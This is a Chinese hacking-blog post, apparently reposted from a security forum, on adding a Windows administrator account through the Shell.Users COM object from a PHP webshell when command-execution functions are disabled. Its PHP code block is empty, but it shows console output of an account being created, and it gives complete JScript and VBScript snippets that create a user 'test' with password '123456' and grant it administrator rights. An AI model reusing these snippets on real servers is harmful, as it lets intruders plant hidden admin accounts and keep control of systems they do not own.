php 版shell.users 加管理员帐号方法

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
议题作者:CyberH4ck[南拳Daddy]
Author: 南拳Daddy 转载请注明出处 hi.baidu.com/南拳daddy

09年的时候 LCX 写出了 js版 和vbs 版的shell.users 加管理员帐号的方法,后来我就想把它改成PHP 版,

由于对代码分析得不够准确,所以到最近才写出来,当 php执行命令的函数如exec,system,shell_exec,proc_open,passthru,popen

以及wscript.shell 组建被禁用的情况下,这也许是一个机会。

代码如下:

 

结果:

 

E:/program/PHPnow-1.5.6/php-5.2.14-Win32>php 1.php
<div align=center><b>PHP 版Shell.Users加管理员帐号</b></div>
Fatal error: Uncaught exception 'com_exception' with message 'Source: Unknown
Description: Unknown' in E:/program/PHPnow-1.5.6/php-5.2.14-Win32/1.php:6
Stack trace:
#0 E:/program/PHPnow-1.5.6/php-5.2.14-Win32/1.php(6): com->create('isosky.test'

#1 {main}
  thrown in E:/program/PHPnow-1.5.6/php-5.2.14-Win32/1.php on line 6

E:/program/PHPnow-1.5.6/php-5.2.14-Win32>net user

User accounts for //ISOSKY-PC

-------------------------------------------------------------------------------
__vmware_user__          Administrator            Guest
HelpAssistant            isosky                   isosky.test
SUPPORT_388945a0
The command completed successfully.


E:/program/PHPnow-1.5.6/php-5.2.14-Win32>

 

 

 

对apache 搭建的Web 服务器可以执行成功,IIS 好像权限不够,nginx 和lighttpd 搭建的web 服务器还没有测试。

下面是 LCX 的代码

js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;


vbs:
Set  o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值